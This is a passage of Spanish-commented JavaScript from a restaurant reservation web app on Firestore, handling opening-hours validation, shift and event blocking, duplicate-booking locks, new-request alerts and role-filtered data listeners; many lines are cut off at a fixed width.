  const celularLocalCheck = document.getElementById('fCelular').value.trim().repl
  if(celularLocalCheck.length < 7){
    alert('Ingresa el celular del cliente antes de confirmar la hora — lo necesit
    return;
  }
  const fecha = document.getElementById('fFechaReservaEdit').value;
  const turno = document.getElementById('fTurnoReservaEdit').value;
  const horaHHMM = document.getElementById('fHora').value;
  // Primero: ¿esta hora cae dentro del horario real de atención ese día?
  // (festivos y domingo-antes-de-festivo incluidos). El staff SÍ puede
  // seguir adelante — solo se le avisa antes, por si fue un error de dedo
  // al tomar la reserva por teléfono.
  const errorHorario = validarHorarioReal(fecha, turno, horaHHMM);
  if(errorHorario){
```

```
    abrirModalAvisoBloqueoTelefono(fecha, turno, {tipo:'fuera_horario', motivo: e
    return;
  }
  const info = infoBloqueoTurno(fecha, turno);
  if(!info){
    validarDuplicadoYDesbloquearTelefono();
    return;
  }
  abrirModalAvisoBloqueoTelefono(fecha, turno, info);
}
// Último paso antes de dejar ver el resto del formulario: ya se sabe que
// el turno no está bloqueado (o el staff decidió seguir de todas formas),
// así que ahora se revisa si el celular ya tiene otra reserva activa para
// esta fecha y turno. Si es así, NO se desbloquea — se queda tal como
// estaba, mostrando el aviso, hasta que cambien la fecha, el turno o el
// celular.
function validarDuplicadoYDesbloquearTelefono(){
  const celularLocal = document.getElementById('fCelular').value.trim().replace(/
  const celularCod = document.getElementById('fCelularCod').value;
  const fecha = document.getElementById('fFechaReservaEdit').value || modalFecha;
  const turno = document.getElementById('fTurnoReservaEdit').value || modalTurno;
  const dup = buscarReservaDuplicada(fecha, turno, `+${celularCod} ${celularLocal
  const aviso = document.getElementById('avisoReservaDuplicadaModal');
  if(dup){
    if(aviso){ aviso.textContent = mensajeReservaDuplicada(dup); aviso.style.disp
    const btn = document.getElementById('btnConfirmarHoraTelefono');
    if(btn){ btn.classList.remove('confirmada'); btn.textContent = '✓ Confirmar h
    return;
  }
  if(aviso) aviso.style.display = 'none';
  desbloquearFormularioTelefonoComoConfirmado();
}
function abrirModalAvisoBloqueoTelefono(fecha, turno, info){
  const dia = FECHAS_BLOQUEADAS[fecha] || {};
  const tipo = info.tipo === 'evento' ? 'evento_privado' : info.tipo;
  const titulo = document.getElementById('avisoBloqueoTelTitulo');
  const texto = document.getElementById('avisoBloqueoTelTexto');
  const img = document.getElementById('avisoBloqueoTelImg');
  const btnContinuar = document.getElementById('btnContinuarBloqueoTel');
  const btnVerHorario = document.getElementById('btnVerHorarioTel');
  // "Fuera de horario" es distinto de los demás: no es una restricción
  // administrativa que el staff pueda pasar por alto (como un evento
  // privado o "sin disponibilidad") — es que sencillamente no hay
  // servicio a esa hora. Por eso aquí NO se ofrece "continuar de todas
  // formas": solo elegir otra hora, o ver el horario completo del
  // restaurante para saber cuál sí es válida.
  if(tipo === 'fuera_horario'){
```

```
    titulo.textContent = '⏰ Fuera del horario real de atención';
    texto.textContent = info.motivo;
    img.style.display = 'none';
    btnContinuar.style.display = 'none';
    btnVerHorario.style.display = 'inline-flex';
    fechaParaHorarioCompleto = fecha;
  } else if(tipo === 'evento_privado'){
    titulo.textContent = '🔒 Evento privado en este turno';
    texto.textContent = `Este turno está bloqueado por un evento privado — el res
    img.style.display = 'none';
    btnContinuar.style.display = 'inline-flex';
    btnVerHorario.style.display = 'none';
  } else if(tipo === 'disponibilidad'){
    // "Sin disponibilidad" significa justamente eso: no hay cupo, punto.
    // No se ofrece "continuar de todas formas" — si se permitiera saltar
    // esto, se corre el riesgo de meter una reserva que en la práctica
    // no tiene dónde sentarse, y ese cliente llega y no hay mesa para él.
    titulo.textContent = '🕒 Sin disponibilidad en este turno';
    texto.textContent = `Este turno está marcado como sin disponibilidad (cupo ll
    img.style.display = 'none';
    btnContinuar.style.display = 'none';
    btnVerHorario.style.display = 'none';
  } else {
    titulo.textContent = '🎤 Show especial en este turno';
    texto.textContent = `${dia.motivo || 'Hay un show especial anunciado ese día.
    if(info.imagen){ img.src = info.imagen; img.style.display = 'block'; } else {
    btnContinuar.style.display = 'inline-flex';
    btnVerHorario.style.display = 'none';
  }
  document.getElementById('overlayAvisoBloqueoTelefono').classList.add('open');
}

let fechaParaHorarioCompleto = null;
// Arma y muestra el horario completo del restaurante (los 7 días, más
// festivo y domingo-antes-de-festivo) para que el staff sepa de una vez
// cuál es la hora correcta, en vez de adivinar. Resalta el día de la
// reserva que se estaba intentando crear.
function renderHorarioCompleto(){
  const el = document.getElementById('horarioCompletoContenido');
  if(!el) return;
  const claveResaltada = fechaParaHorarioCompleto ? claveHorarioParaFecha(fechaPa
  const grupos = [...DIAS_SEMANA_ORDEN, 'festivo', 'domingoAntesFestivo'];
  el.innerHTML = grupos.map(key => {
    const grupo = HORARIOS[key];
    const partes = ['desayuno','almuerzo','cena']
      .filter(t => grupo[t] && grupo[t].activo !== false)
      .map(t => `${HORARIOS_TURNO_LABEL[t]}: ${grupo[t].inicio} a ${grupo[t].fin}
```

```
    const texto = partes.length ? partes.join(' · ') : 'Sin servicio ese día';
    const resaltado = key === claveResaltada;
    return `<div style="padding:9px 12px; margin-bottom:6px; border-radius:9px; b
      <div style="font-weight:700; font-size:12.5px; margin-bottom:2px;">${DIA_LA
      <div style="font-size:12px; color:var(--text-dim);">${texto}</div>
    </div>`;
  }).join('');
}
function verHorarioCompletoDesdeAviso(){
  renderHorarioCompleto();
  document.getElementById('overlayAvisoBloqueoTelefono').classList.remove('open')
  document.getElementById('overlayHorarioCompleto').classList.add('open');
}

function cancelarAvisoBloqueoTelefono(){
  document.getElementById('overlayAvisoBloqueoTelefono').classList.remove('open')
}
function confirmarAvisoBloqueoTelefono(){
  document.getElementById('overlayAvisoBloqueoTelefono').classList.remove('open')
  validarDuplicadoYDesbloquearTelefono();
}

function diaTieneAlgunBloqueo(fechaIso){
  const dia = FECHAS_BLOQUEADAS[fechaIso];
  if(!dia) return false;
  return ['desayuno','almuerzo','cena'].some(t => esBloqueoDuro(dia[t]));
}
function diaCompletoBloqueado(fechaIso){
  const dia = FECHAS_BLOQUEADAS[fechaIso];
  if(!dia) return false;
  return ['desayuno','almuerzo','cena'].every(t => esBloqueoDuro(dia[t]));
}
// Para el candadito del calendario: distingue si lo que hay ese día es un
// bloqueo real o solo un show especial anunciado (que no bloquea nada).
function diaTieneShowEspecial(fechaIso){
  const dia = FECHAS_BLOQUEADAS[fechaIso];
  if(!dia) return false;
  return ['desayuno','almuerzo','cena'].some(t => dia[t] && dia[t].tipo === 'show
}

// Imagen del show, comprimida igual que las fotos del carrusel (máx 1000px
// de ancho, JPEG calidad media) — para que quepa en el documento de
// Firestore sin pasarse del límite de 1MB, y cargue rápido en el celular
// del cliente.
// Los eventos especiales configurados (Config → Eventos especiales) se
// bloquean COMPLETAMENTE APARTE del turno al que pertenecen — son dos
// cosas independientes. Por ejemplo: la cena normal puede seguir con
```

```
// cupo aunque el show de las 10pm ya se haya vendido completo (o al
// revés). Por eso el bloqueo del evento vive en su propia llave en
// Firestore (dia.eventos), no adentro de dia.cena/almuerzo/desayuno.
let eventosDelDiaTemp = [];
function toggleBloqueoEvento(idx){
  const ev = eventosDelDiaTemp[idx];
  if(!ev) return;
  ev.bloqueado = document.getElementById('fBloqueoEvento'+idx).checked;
}
function construirEventosContainer(iso){
  const cont = document.getElementById('bloqueoEventosContainer');
  const turnoLabels = {desayuno:'☕ Desayuno', almuerzo:'☀️ Almuerzo', cena:'🌙 (
  if(eventosDelDiaTemp.length === 0){ cont.innerHTML = ''; return; }
  cont.innerHTML = eventosDelDiaTemp.map((ev, idx) => `
    <div class="bloqueo-evento-bloque">
      <label class="rol-opcion" style="flex-direction:row; align-items:center; ga
        <input type="checkbox" id="fBloqueoEvento${idx}" ${ev.bloqueado ? 'checke
        <span>🎤 Bloquear show especial (${turnoLabels[ev.turno]||ev.turno}): <b>
      </label>
      ${ev.imagen ? `<img src="${ev.imagen}" style="width:100%; border-radius:8px
    </div>`).join('');
}
function abrirModalBloqueoDia(){
  // Refuerzo de seguridad, igual que en cambiarVistaApp(): aunque el
  // botón ya esté oculto para "consulta", esto bloquea el acceso real.
  const rolBloqueoDia = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin';
  if(rolBloqueoDia === 'consulta') return;
  const iso = fechaISO(fechaActual);
  const dia = FECHAS_BLOQUEADAS[iso] || {};
  document.getElementById('bloqueoDiaError').textContent = '';
  // El modal se ajusta a dónde estás parado: si tienes un turno puntual
  // activo (Desayuno/Almuerzo/Cena), solo se muestra ESE turno para
  // bloquear — así nunca se te queda otro turno marcado sin querer, de
  // una vez anterior en la que estabas viendo "Todos". Si estás en
  // "Todos", ahí sí se muestran los tres, para bloquear el día completo.
  const soloEsteTurno = turnoActivo !== 'todos' ? turnoRealDesdeActivo(turnoActiv
  const turnoLabels = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena'};
  document.getElementById('bloqueoDiaTitulo').textContent = soloEsteTurno
    ? `Bloquear ${turnoLabels[soloEsteTurno]} — ${formatearFechaLarga(iso)}`
    : `Bloquear — ${formatearFechaLarga(iso)}`;
  ['desayuno','almuerzo','cena'].forEach(t => {
    const nombre = t.charAt(0).toUpperCase()+t.slice(1);
    const bloque = document.getElementById('bloqueoBloque'+nombre);
    const esEsteTurno = !soloEsteTurno || t === soloEsteTurno;
    if(bloque) bloque.style.display = esEsteTurno ? 'block' : 'none';
    const info = dia[t];
    document.getElementById('fBloqueo'+nombre).checked = !!info;
```

```
    // Compatibilidad con datos viejos: 'evento' y 'show_especial' (de
    // antes de que este modal se simplificara) se leen igual que
    // 'evento_privado' — ya no son tipos que se puedan volver a elegir,
    // pero un bloqueo guardado así en el pasado no se puede dejar en
    // blanco al reabrir el modal.
    const tipoViejo = info && info.tipo;
    const tipoGuardado = (tipoViejo === 'evento' || tipoViejo === 'show_especial'
    document.getElementById('fBloqueo'+nombre+'Tipo').value = tipoGuardado;
  });

  // Eventos especiales de este día — independientes de los turnos de
  // arriba (si hay uno para "Todos" los turnos que tengan show
  // configurado, o solo el turno activo si estás parado en uno puntual).
  const eventosGuardados = dia.eventos || {};
  eventosDelDiaTemp = eventosCache
    .filter(e => e.fecha === iso && (!soloEsteTurno || e.turno === soloEsteTurno)
    .map(e => ({
      turno: e.turno, nombre: e.nombre, imagen: e.imagen || null,
      bloqueado: !!(eventosGuardados[e.turno] && eventosGuardados[e.turno].bloque
    }));
  construirEventosContainer(iso);

  document.getElementById('fBloqueoMotivo').value = dia.motivo || '';
  document.getElementById('overlayBloqueoDia').classList.add('open');
}
function guardarBloqueoDia(){
  const iso = fechaISO(fechaActual);
  const motivo = document.getElementById('fBloqueoMotivo').value.trim();
  const errEl = document.getElementById('bloqueoDiaError');
  errEl.textContent = '';

  const btn = document.getElementById('btnGuardarBloqueoDia');
  if(btn){ btn.disabled = true; btn.textContent = 'Guardando…'; }
  const turnos = {};
  let algunoBloqueado = false;
  ['desayuno','almuerzo','cena'].forEach(t => {
    const nombre = t.charAt(0).toUpperCase()+t.slice(1);
    const marcado = document.getElementById('fBloqueo'+nombre).checked;
    if(marcado){
      const tipo = document.getElementById('fBloqueo'+nombre+'Tipo').value;
      turnos[t] = { tipo };
      algunoBloqueado = true;
    } else {
      turnos[t] = false;
    }
  });
  // Los eventos especiales bloqueados van aparte, en su propia llave —
```

```
  // independientes de si el turno que los contiene también está
  // bloqueado o no (la cena puede seguir abierta con el show lleno, o
  // al revés).
  const eventos = {};
  eventosDelDiaTemp.forEach(ev => {
    if(ev.bloqueado){
      eventos[ev.turno] = { bloqueado: true, nombre: ev.nombre, imagen: ev.imagen
      algunoBloqueado = true;
    }
  });
  const dataDia = algunoBloqueado ? { ...turnos, eventos, motivo } : firebase.fir
  fechasBloqueadasRef.set({ [iso]: dataDia }, { merge: true }).then(() => {
    document.getElementById('overlayBloqueoDia').classList.remove('open');
  }).catch(err => {
    console.error('Error guardando bloqueo de día:', err);
    errEl.textContent = 'No se pudo guardar. Si el error persiste, prueba con una
  }).finally(() => {
    if(btn){ btn.disabled = false; btn.textContent = 'Guardar'; }
  });
}

function formatearFechaLarga(iso){
  if(!iso) return '';
  const [y,m,d] = iso.split('-').map(Number);
  const fecha = new Date(y, m-1, d, 12);
  return `${DIAS[fecha.getDay()]} ${d} de ${MESES[m-1]}`;
}

// v6.54 — el cumpleaños solo guarda mes y día (el año guardado, 2000, es de
// relleno y no es fecha de nacimiento). Se muestra sin año ni día de la semana.
function formatearCumple(iso){
  if(!iso) return '';
  const [y,m,d] = iso.split('-').map(Number);
  if(!m || !d) return '';
  return `${d} de ${MESES[m-1]}`;
}

function guardarMensaje(tipo, valor){
  mensajesConfigRef.set({ [tipo]: valor }, { merge: true }).then(() => {
    const el = document.getElementById('msgGuardado_' + tipo);
    if(el){
      el.style.display = 'inline';
      setTimeout(() => { el.style.display = 'none'; }, 2000);
    }
  }).catch(err => {
    alert('No se pudo guardar el mensaje. Revisa tu conexión e intenta de nuevo.'
    console.error(err);
```

```
  });
}

function restaurarMensaje(tipo){
  if(!confirm('¿Restaurar este mensaje al texto original? Se perderá lo que hayas
  document.getElementById('msgTexto_' + tipo).value = MENSAJES_SEED[tipo];
  guardarMensaje(tipo, MENSAJES_SEED[tipo]);
}

function renderConfigMensajes(){
  const solEl = document.getElementById('msgTexto_solicitud');
  const aprEl = document.getElementById('msgTexto_aprobacion');
  if(!solEl || !aprEl) return;
  // No pisamos lo que el usuario esté escribiendo en este momento.
  if(document.activeElement !== solEl) solEl.value = MENSAJES.solicitud;
  if(document.activeElement !== aprEl) aprEl.value = MENSAJES.aprobacion;
}

function grupoDeFecha(d){
  return claveHorarioParaFecha(d);
}

function turnoSegunHora(fechaObj, horaStr){
  const grupo = HORARIOS[grupoDeFecha(fechaObj)];
  const [h,m] = (horaStr||'12:00').split(':').map(Number);
  const minutos = (h||0)*60 + (m||0);
  for(const t of ['desayuno','almuerzo','cena']){
    const cfg = grupo[t];
    if(!cfg.activo) continue;
    const [hI,mI] = cfg.inicio.split(':').map(Number);
    const [hF,mF] = cfg.fin.split(':').map(Number);
    if(minutos >= hI*60+mI && minutos <= hF*60+mF) return t;
  }
  return ['almuerzo','cena','desayuno'].find(t=>grupo[t].activo) || 'almuerzo';
}

function turnoRealDeAhora(){
  // "Todos" es un filtro de visualización, no un turno real de servicio —
  // nunca se puede guardar como el turno de una reserva. Si ese es el
  // filtro activo al crear una reserva nueva, calculamos cuál turno
  // corresponde según la hora actual (o el primero activo del día si no
  // cae en ningún rango horario), en vez de guardar "todos" literalmente.
  return turnoSegunHora(new Date(), `${new Date().getHours()}:${new Date().getMin
}

let reservas = [];
```

```
// Conexión en tiempo real a Firestore: cualquier cambio (de este dispositivo
// o de otro) se refleja automáticamente en la app.
const reservasRef = db.collection('reservas');

// ============ CANDADO ATÓMICO CONTRA DUPLICADOS SIMULTÁNEOS ============
// La validación de "buscarReservaDuplicada" (arriba) revisa contra los
// datos que ya están cargados en memoria — funciona bien para el caso
// normal, pero si DOS reservas para el mismo celular+fecha+turno se
// mandan casi al mismo instante (ej: el cliente por WhatsApp y el staff
// por teléfono, con segundos de diferencia), las dos podrían alcanzar a
// revisar "no existe" antes de que la otra termine de guardar, y ambas
// pasarían. Para cerrar esa rendija se usa una colección aparte,
// "bloqueosReserva", con un identificador de documento fijo y
// predecible (celular + fecha + turno) que Firestore solo deja crear
// UNA vez de forma segura mediante una transacción — la segunda
// solicitud que llegue, aunque sea un instante después, encuentra el
// candado ya puesto y no puede pasar.
// No se toca ninguna reserva existente: esto es una colección nueva,
// vacía, que se va llenando solo con las reservas que se creen de aquí
// en adelante.
const bloqueosReservaRef = db.collection('bloqueosReserva');

function idCandadoReserva(celularCompleto, fecha, turno){
  return `${normalizarTelefono(celularCompleto)}_${fecha}_${turno}`;
}

// Crea la reserva y su candado en una sola transacción atómica. Si el
// candado ya existe y sigue activo (no cancelado), la transacción se
// aborta sin escribir nada — ni la reserva ni el candado — y se avisa
// al que llamó a esta función mediante el motivo 'DUPLICADO_SIMULTANEO'.
function crearReservaConCandado(data){
  const lockId = idCandadoReserva(data.celular, data.fecha, data.turno);
  const lockRef = bloqueosReservaRef.doc(lockId);
  const reservaRef = reservasRef.doc();
  return db.runTransaction(tx => {
    return tx.get(lockRef).then(lockDoc => {
      if(lockDoc.exists && lockDoc.data().estado !== 'cancelada'){
        const err = new Error('Ya se creó una reserva para este celular, fecha y
        err.motivo = 'DUPLICADO_SIMULTANEO';
        throw err;
      }
      tx.set(reservaRef, data);
      tx.set(lockRef, { reservaId: reservaRef.id, estado: data.estado || 'pendien
      return reservaRef;
    });
  });
}
```

```
// Cuando una reserva pasa a 'cancelada' (o se elimina), su candado se
// libera para que ese mismo celular/fecha/turno se pueda volver a
// reservar más adelante sin quedar bloqueado para siempre. Si esto
// falla (por ejemplo, si la reserva es de antes de que existiera este
// candado y nunca tuvo uno), no pasa nada grave — solo queda en
// consola, no debe interrumpir el guardado de la reserva en sí.
function liberarCandadoReserva(celularCompleto, fecha, turno){
  if(!celularCompleto || !fecha || !turno) return Promise.resolve();
  const lockId = idCandadoReserva(celularCompleto, fecha, turno);
  return bloqueosReservaRef.doc(lockId).set({ estado: 'cancelada' }, {merge:true}
    .catch(err => console.error('No se pudo liberar el candado de duplicados:', e
}

// NOTA IMPORTANTE: antes, si esta colección quedaba vacía (por ejemplo,
// porque Guillermo borró varios días de reservas ya procesadas), la app
// volvía a sembrar automáticamente 7 reservas de ejemplo/prueba que
// quedaron aquí desde el desarrollo (Bryan Pedroza, Fernando Fiorillo,
// etc.). Eso hacía parecer que reservas ya eliminadas "reaparecían" — en
// realidad eran estos datos de prueba resucitando. Se quitó por completo:
// cuando se borra algo, se borra, y la base de datos puede quedar vacía
// sin que nada la vuelva a llenar sola.
// ===== Sonido de aviso cuando llega una solicitud nueva =====
// Se activa o desactiva por usuario desde Config → Usuarios y accesos
// (solo un administrador puede cambiarlo). Por defecto queda activado
// para todos. El sonido se genera con el propio navegador (no depende
// de ningún archivo de audio externo), así que no hay que subir nada
// aparte ni preocuparse por hosting.
let audioCtxAviso = null;
function obtenerCtxAviso(){
  if(!audioCtxAviso) audioCtxAviso = new (window.AudioContext || window.webkitAud
  return audioCtxAviso;
}
function tono(freq, inicio, duracion, ctx){
  const osc = ctx.createOscillator();
  const gain = ctx.createGain();
  osc.frequency.value = freq;
  osc.type = 'sine';
  gain.gain.setValueAtTime(0, ctx.currentTime + inicio);
  gain.gain.linearRampToValueAtTime(0.25, ctx.currentTime + inicio + 0.02);
  gain.gain.linearRampToValueAtTime(0, ctx.currentTime + inicio + duracion);
  osc.connect(gain);
  gain.connect(ctx.destination);
  osc.start(ctx.currentTime + inicio);
  osc.stop(ctx.currentTime + inicio + duracion + 0.05);
}
// IMPORTANTE: "resume()" del audio es ASÍNCRONO — si se programan las
```

```
// notas sin esperar a que termine de reanudarse, el navegador las
// descarta en silencio (este era el bug real: sonaba "a veces" según
// qué tan rápido reanudara cada navegador). Ahora se espera siempre a
// que el audio esté realmente listo antes de sonar.
function reproducirTonoAviso(){
  try{
    const ctx = obtenerCtxAviso();
    const tocar = () => {
      console.log('🔔 Sonando aviso de solicitud nueva. Estado del audio:', ctx.s
      tono(880, 0, 0.16, ctx);
      tono(1318.5, 0.14, 0.22, ctx);
    };
    if(ctx.state === 'suspended'){
      ctx.resume().then(tocar).catch(err => console.error('No se pudo reanudar el
    } else {
      tocar();
    }
  } catch(err){
    console.error('No se pudo reproducir el sonido de aviso:', err);
  }
}
// Los navegadores bloquean que una página reproduzca sonido "sola" si la
// persona todavía no ha tocado la pantalla — es una protección normal
// para que las páginas no hagan ruido sin permiso. En celulares, además,
// ese "permiso" se puede volver a cerrar solo después de un rato sin
// tocar nada o si la pestaña estuvo de fondo — por eso, en vez de
// intentar despertarlo una sola vez, se reintenta reanudarlo cada vez
// que la persona toca la pantalla, y también cada vez que vuelve a esta
// pestaña. Es una operación muy liviana, no tiene costo notarlo hacerlo
// seguido.
['click','touchstart','keydown'].forEach(evt =>
  document.addEventListener(evt, () => {
    const ctx = obtenerCtxAviso();
    if(ctx.state === 'suspended') ctx.resume().catch(()=>{});
  })
);
document.addEventListener('visibilitychange', () => {
  if(document.visibilityState === 'visible'){
    const ctx = obtenerCtxAviso();
    if(ctx.state === 'suspended') ctx.resume().catch(()=>{});
  }
});
function sonarAvisoNuevaSolicitud(){
  if(!usuarioActual || usuarioActual.sonidoAvisoActivo === false) return;
  reproducirTonoAviso();
}
```

```
// ===== Aviso visual flotante (toast) cuando llega una solicitud nueva =====
// Independiente del sonido: este SIEMPRE se muestra (no depende de
// sonidoAvisoActivo), porque es visual, no interrumpe con ruido, y sirve
// también para quien tenga el sonido desactivado. Se acumula mientras no
// se cierre — ver comentario en el CSS de .toast-nueva-solicitud.
let solicitudesNuevasSinVer = 0;
function mostrarToastNuevaSolicitud(cantidadNueva){
  solicitudesNuevasSinVer += cantidadNueva;
  const toast = document.getElementById('toastNuevaSolicitud');
  const texto = document.getElementById('toastNuevaSolicitudTexto');
  if(!toast || !texto) return;
  texto.textContent = solicitudesNuevasSinVer === 1
    ? 'Tienes 1 solicitud nueva en los últimos minutos'
    : `Tienes ${solicitudesNuevasSinVer} solicitudes nuevas en los últimos minuto
  toast.classList.add('visible');
}
function cerrarToastNuevaSolicitud(){
  const toast = document.getElementById('toastNuevaSolicitud');
  if(toast) toast.classList.remove('visible');
  solicitudesNuevasSinVer = 0;
}

// ===== Aviso visual de respaldo (parpadeo del título de la pestaña) =====
// El sonido puede fallar por cosas fuera de nuestro control (el
// celular en silencio, el navegador bloqueándolo, etc.), así que además
// se pone a parpadear el título de la pestaña/ventana cuando llega una
// solicitud nueva y la persona no está viendo la app en ese momento —
// apenas vuelve a mirarla, el título regresa a la normalidad solo.
const tituloOriginalApp = document.title;
let parpadeoTituloInterval = null;
function avisarVisualmenteNuevaSolicitud(){
  if(document.visibilityState === 'visible') return; // ya la está viendo, no hac
  if(parpadeoTituloInterval) return;
  let mostrandoAviso = false;
  parpadeoTituloInterval = setInterval(() => {
    document.title = mostrandoAviso ? tituloOriginalApp : '🔔 Nueva solicitud';
    mostrandoAviso = !mostrandoAviso;
  }, 1000);
}
document.addEventListener('visibilitychange', () => {
  if(document.visibilityState === 'visible' && parpadeoTituloInterval){
    clearInterval(parpadeoTituloInterval);
    parpadeoTituloInterval = null;
    document.title = tituloOriginalApp;
  }
});
```

```
let primerCargaReservas = true;
let reservasCrudas = []; // lo que llega de Firestore para este usuario
// Un "Promotor de eventos" solo debe ver las reservas del evento que
// tiene asignado. Antes esto se filtraba SOLO aquí, del lado del cliente,
// después de traer TODA la colección — cualquiera con las herramientas de
// desarrollador podía ver el resto igual. Ahora la consulta misma
// (iniciarListenerReservas, más abajo) ya viene limitada por Firestore a
// solo su evento, así que este filtro queda como una segunda capa de
// seguridad visual, no la única.
function recalcularReservasVisibles(){
  if(usuarioActual && usuarioActual.rol === 'promotor' && usuarioActual.eventoAsi
    reservas = reservasCrudas.filter(r => r.eventoId === usuarioActual.eventoAsig
  } else {
    reservas = reservasCrudas;
  }
}

// Arranca (o reinicia) el listener de reservas según el rol de quien
// inició sesión — se llama desde auth.onAuthStateChanged, una vez que ya
// se sabe el rol, nunca antes. Un Promotor recibe de Firestore SOLO los
// documentos de su propio evento (.where('eventoId','==',...)) — la regla
// de seguridad exige exactamente ese filtro, así que si algún día se
// quita de aquí, Firestore simplemente rechaza la consulta completa en
// vez de devolver de más.
let unsubscribeReservas = null;
function iniciarListenerReservas(){
  if(unsubscribeReservas){ unsubscribeReservas(); unsubscribeReservas = null; }
  const query = (usuarioActual && usuarioActual.rol === 'promotor' && usuarioActu
    ? reservasRef.where('eventoId', '==', usuarioActual.eventoAsignado.id)
    : reservasRef;
  unsubscribeReservas = query.onSnapshot(snap => {
    reservasCrudas = snap.docs.map(d => ({ id: d.id, ...d.data() }));
    recalcularReservasVisibles();
    actualizarEstadoConexion(true);
    // Ojo: docChanges() con type:'added' incluye TODOS los documentos la
    // primera vez que carga la app (es como Firestore entrega la carga
    // inicial) — por eso solo se activa el sonido desde la SEGUNDA vez que
    // llega este evento en adelante, para no sonar de golpe con todas las
    // solicitudes que ya existían al abrir la app.
    if(primerCargaReservas){
      primerCargaReservas = false;
    } else {
      const solicitudesNuevas = snap.docChanges().filter(ch =>
        ch.type === 'added' && ['solicitud','lista_espera'].includes(ch.doc.data(
      );
      if(solicitudesNuevas.length > 0 && usuarioActual && usuarioActual.rol !== '
```

```
        sonarAvisoNuevaSolicitud();
        avisarVisualmenteNuevaSolicitud();
      }
      if(solicitudesNuevas.length > 0 && usuarioActual && usuarioActual.rol !== '
        mostrarToastNuevaSolicitud(solicitudesNuevas.length);
      }
    }
    vencerSolicitudesAtrasadas();
    renderAll();
  }, err => {
    console.error('Error de conexión en reservas:', err);
    actualizarEstadoConexion(false);
    document.getElementById('panelLista').innerHTML =
      '<div class="empty-state">No se pudo conectar con la base de datos.<br>Revi
  });
}

// Base de datos de clientes: se va armando sola cada vez que llega una
// solicitud (desde solicitud.html o desde acá por teléfono), identificando
// a cada persona por su celular normalizado para no duplicarla. El doc.id
// de cada registro ES el celular normalizado (solo dígitos).
let clientesDB = [];
const clientesRef = db.collection('clientes');
clientesRef.onSnapshot(snap => {
  clientesDB = snap.docs.map(d => ({ id: d.id, ...d.data() }));
  const badge = document.getElementById('totalClientesRegistrados');
  if(badge) badge.textContent = clientesDB.length.toLocaleString('es-CO');
}, err => {
  console.error('Error de conexión en clientes:', err);
});

/* ============ STATE ============ */
// Siempre arranca en la fecha real de hoy — antes quedó fija en una fecha
// de prueba (14 de agosto) y nunca se actualizó, así que la app siempre
// abría ahí sin importar qué día fuera en realidad.
let fechaActual = new Date();
fechaActual.setHours(12,0,0,0); // mediodía para evitar líos de huso horario al c
let turnoActivo = 'todos';
// "cena1"/"cena2" son valores de FILTRO nada más (Cena 1 · Temprano / Cena
// 2 · Show) — nunca se guardan como turno real de una reserva, evento ni
// horario; el dato real en Firestore sigue siendo turno:"cena" +
// franjaCena. Estos dos helpers son el único lugar que traduce entre el
// filtro visible y el turno real, para no tener que tocar la lógica de
// horarios/eventos/informes en cada sitio que ya asumía turnos reales.
function turnoRealDesdeActivo(t){
  return (t === 'cena1' || t === 'cena2') ? 'cena' : t;
}
```

```
// v6.58 — Turno que corresponde a una hora, con la misma regla que ya usa el
// formulario al CREAR (8:00–10:59 Desayuno, 11:00–17:59 Almuerzo, 18:00+ Cena).
function turnoSugeridoPorHora(hhmm){
  const m = /^(\d{1,2}):(\d{2})/.exec(String(hhmm||''));
  if(!m) return null;
  const min = Number(m[1])*60 + Number(m[2]);
  if(min >= 480 && min < 660) return 'desayuno';
  if(min >= 660 && min < 1080) return 'almuerzo';
  return 'cena';   // 6:00 pm en adelante y la madrugada (los shows pasan de medi
}
// Revisa que la hora corresponda al turno. Si no, avisa y deja elegir:
// Aceptar = mover al turno que corresponde; Cancelar = NO guarda, para que
// el staff corrija la hora o el turno. Devuelve el turno final, o null si
// se canceló. Los eventos especiales fijan su propio turno y no se tocan.
function resolverTurnoSegunHora(hora, turno, fecha){
  if(eventosCache.some(e => e.fecha === fecha && e.turno === turno && e.activo !=
  const sug = turnoSugeridoPorHora(hora);
  if(!sug || sug === turno) return turno;
  const et = { desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena' };
  const ok = confirm(`⚠ La hora ${formatearHora12(hora)} no es de ${et[turno]||tu
  return ok ? sug : null;
}
function reservaHoraDesalineadaConTurno(r){
  if(!r || !r.hora || !r.turno) return null;
  if(eventosCache.some(e => e.fecha === r.fecha && e.turno === r.turno && e.activ
  const sug = turnoSugeridoPorHora(r.hora);
  return (sug && sug !== r.turno) ? sug : null;
}
function reservaCoincideConTurnoActivo(r, t){
  if(t === 'todos') return true;
  // Coincidencia estricta: "Cena 1" muestra SOLO lo que de verdad quedó
  // marcado franjaCena="temprano" — igual de mecánico que Desayuno/
  // Almuerzo. Una reserva de cena SIN franja (nunca se le puede poner
  // entre semana, porque el selector solo aparece viernes/sábado) NO
  // cuenta para ninguno de los dos — solo aparece bajo "Cena" a secas.
  if(t === 'cena1') return r.turno === 'cena' && r.franjaCena === 'temprano';
  if(t === 'cena2') return r.turno === 'cena' && r.franjaCena === 'show';
  return r.turno === t;
}
let vistaActual = 'lista';
let editandoId = null;
// Se incrementa cada vez que se ABRE el modal (nueva reserva o editar una
// existente). Un envío de WhatsApp que estaba en curso (esperando a que
// Firestore confirme el guardado) captura este número al empezar; si para
// cuando termina el staff ya abrió OTRA reserva distinta, ese envío atrasado
// ya no debe mostrar su pantalla de éxito ni su link sobre la reserva que
// está en pantalla ahora — evita mezclar el "Abrir WhatsApp" de una
```

```
// reserva con los datos de otra.
let modalToken = 0;
let mesaPreseleccionada = null;
let modalFecha = null;
let modalTurno = null;
let estadoSeleccionado = 'pendiente';

const DIAS = ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado']
const MESES = ['enero','febrero','marzo','abril','mayo','junio','julio','agosto',
const DIAS_CORTO = ['Dom','Lun','Mar','Mié','Jue','Vie','Sáb'];
const MESES_CORTO = ['Ene','Feb','Mar','Abr','May','Jun','Jul','Ago','Sep','Oct',

// ===== ICONOS lineales (SVG inline, sin librería externa) para el
// componente "Resumen del día" — trazo simple, heredan color por CSS. =====
const RDD_ICONS = {
  documento: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-w
  personas: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-wi
  calendario: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-
  check: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width
  reloj: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width
